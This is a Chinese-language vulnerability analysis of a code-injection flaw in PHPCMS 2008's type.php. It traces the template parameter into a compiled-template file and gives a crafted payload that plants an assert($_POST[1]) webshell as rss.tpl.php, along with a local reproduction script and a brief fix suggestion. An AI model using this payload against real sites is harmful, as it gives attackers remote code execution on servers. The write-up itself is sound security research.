简介
PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。phpcms2008老版本type.php存在代码注入可直接getshell。
影响版本
phpcms 2008
漏洞分析
漏洞的位置位于type.php
中,在此文件当中包含template
变量,template
变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()
方法。
跟进template()
方法当中,方法把module,template和istag
一同传入了template_compile()
方法当中
继续跟入,进入template_compile()
方法
我们可以发现,template
变量被传入了文件创建的文件名和内容当中造成了漏洞。接下来,我们就详细分析一下此方法。
首先,将template
传入tplfile
中,然后读取tpfile
文件的内容至content
中,如果读取失败,则弹出消息tpfile
不存在。然后将template
变量放入文件路径compiledtplfile
中,在这里表示着我们可以控制这个文件的位置。然后就是将前面的content
和template
一起传入content
中,构建这个文件的内容,然后使用file_put_contents()
来创建这个文件。
这个方法的作用大致就是如此,这个方法最重要的地方在于content
的部分,我们详细看content
部分
首先这部分为一个三目运算符,对($istag || substr($template, 0, 4) == 'tag_')
进行判断,如果为true
,则执行'<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'
,如果为false
,则执行template_parse($content)
,前面的true中有$template
,所以我们要控制这个条件为true,然后受我们控制的变量就进入了content
当中成了文件内容,而$istag
这个条件在这个方法中默认为0,直接为false,所以我们需要让substr($template, 0, 4) == 'tag_'
构造template
变量template = tag_(){};@unlink(_FILE_);assert($_POST[1]);{//..\rss
自己根据这个方法写了一段代码,查看变量在方法中传递的时候的变化,相关代码如下
<?php
$template = $_GET["template"];
echo('template='.$template."<br />"."<br />");
$tplfile = 'E:\phpstudy_pro'.'\\'.'www'.'\\'.$template.'.html';
echo('tplfile='.$tplfile."<br />"."<br />");
$content = @file_get_contents($tplfile);
echo('content='.$content."<br />");
if($content === false) echo("$tplfile is not exists!");
$compiledtplfile = 'E:\phpstudy_pro\www\test'.'_'.$template.'.tpl.php';
echo("<br />"."<br />".'compiledtplfile='.$compiledtplfile."<br />"."<br />");
$content=(substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
echo("<br />"."content=".$content);
$strlen = file_put_contents($compiledtplfile,$content);
@chmod($compiledtplfile,0777);
function template_parse($str, $istag = 0)
{
$str = preg_replace("/([\n\r]+)\t+/s","\\1",$str);
$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str);
$str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str);
$str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str);
$str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str);
$str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str);
$str = preg_replace("/\{else\}/","<?php } else { ?>",$str);
$str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str);
$str = preg_replace("/\{\/if\}/","<?php } ?>",$str);
$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str);
$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str);
$str = preg_replace("/\{\/loop\}/","<?php } ?>",$str);
$str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str);
$str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str);
$str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str);
$str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str);
$str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str);
if(!$istag) $str = "defined('IN_PHPCMS') or exit('Access Denied');".$str;
return $str;
}
?>
我们可以看到最后我们构造的$_POST[1]也传递进入文件当中,文件存放于当前目录的上一层,命名为rss.tpl.php
修复建议
手动过滤$template参数,避免输入{ (这类字符被当作路径和脚本内容处理以及一些敏感参数